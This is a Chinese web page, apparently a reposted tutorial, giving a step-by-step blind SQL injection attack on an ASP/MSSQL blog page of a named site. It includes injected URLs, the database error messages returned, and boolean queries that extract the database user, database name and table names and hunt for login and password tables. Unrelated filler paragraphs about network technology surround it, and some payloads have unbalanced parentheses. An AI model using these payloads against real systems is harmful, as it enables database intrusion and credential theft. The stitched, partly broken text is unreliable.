|
網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 如何靈活地運(yùn)用SQL Injection做數(shù)據(jù)庫滲透的一種思路如今,很多關(guān)于mssql數(shù)據(jù)庫的滲透技巧已不能有效地獲取有用的數(shù)據(jù)值。比如在一個(gè)懷疑是注入點(diǎn)的地方 www.xxxxx.com/blog.asp?id=4 當(dāng)加入" ' "符號(hào)進(jìn)行注入測試時(shí), www.xxxxx.com/blog.asp?id=4' 出錯(cuò)信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int 我們知道它不對(duì)" ' "符號(hào)進(jìn)行過濾。再用如下語句測試, _blank>http://www.aquavelvas.com/blog.asp?id=4 and 1=1 出錯(cuò)信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int 好,再來繼續(xù)測試, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1 這次出錯(cuò)訊息不同了,如下 [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and ' 我們的" ' "符號(hào)加對(duì)了,再繼續(xù)測試, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0 出錯(cuò)信息如下, [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>' 應(yīng)該是語法不允許直接回值,是不是不能再繼續(xù)了呢?想想其他辦法,就看user值的長度吧, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0 出錯(cuò)信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>' 好,我們知道如果出錯(cuò)信息是Syntax error...或Either BOF or EOF is True...的話,那語句在邏輯上是錯(cuò)的;而如果出錯(cuò)信息是Incorrect syntax...的話,那語句在邏輯上就是對(duì)的。當(dāng)處理len(user)>0,憑著剛才的想法,我們知道在邏輯上這是對(duì)的。 我們?cè)囋囘壿嬌襄e(cuò)的語句, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2 果然,出錯(cuò)信息是, Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record 從len(user)>0這語法的基礎(chǔ)上,我們得知user的長度是7,之后再用left(user,1)=a這語法來猜出user名是 thomasa。再用db_name()這個(gè)function,我們可猜出數(shù)據(jù)庫名。 好了,如何猜表名呢?就先猜表名的長度吧, 就用如下語句, len(select top 1 name from sysobjects where xtype='U')>10 len(select top 1 name from sysobjects where xtype='U')>9 len(select top 1 name from sysobjects where xtype='U')>8 ... (猜表名的工作是很煩人,建議用perl寫個(gè)script來玩玩) 再猜表名, left((select top 1 name from sysobjects where xtype='U'),1)=a left((select top 1 name from sysobjects where xtype='U'),2)=ab left((select top 1 name from sysobjects where xtype='U'),3)=abc ... 好了,我們知道第一個(gè)表名是'geoipcountrywhois' (知道為什么我建議寫個(gè)perl script吧!) 再繼續(xù)猜表名, len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10 len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9 len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8 ... left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o .... 好第二個(gè)表名是blog,之后的表名可用('geoipcountrywhois','blog')來繼續(xù)猜,然而,這顯然不是好辦法。為什么我們不進(jìn)行搜索呢? 如何搜索呢?就用如下的語句吧, (select count(*) from sysobjects where xtype='U' and name like '%login%')=0 (select count(*) from sysobjects where xtype='U' and name like '%pass%')=0 (select count(*) from sysobjects where xtype='U' and name like '%key%')=0 (記得將" % "這符號(hào)換成" %25 "才是正確的輸入) 好了,通過邏輯上對(duì)或錯(cuò)的判斷,我們也可以對(duì)數(shù)據(jù)庫進(jìn)行滲透,不再局限于回彈顯示值。 希望這思路能開闊注入技術(shù)的演變。 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì),對(duì)應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!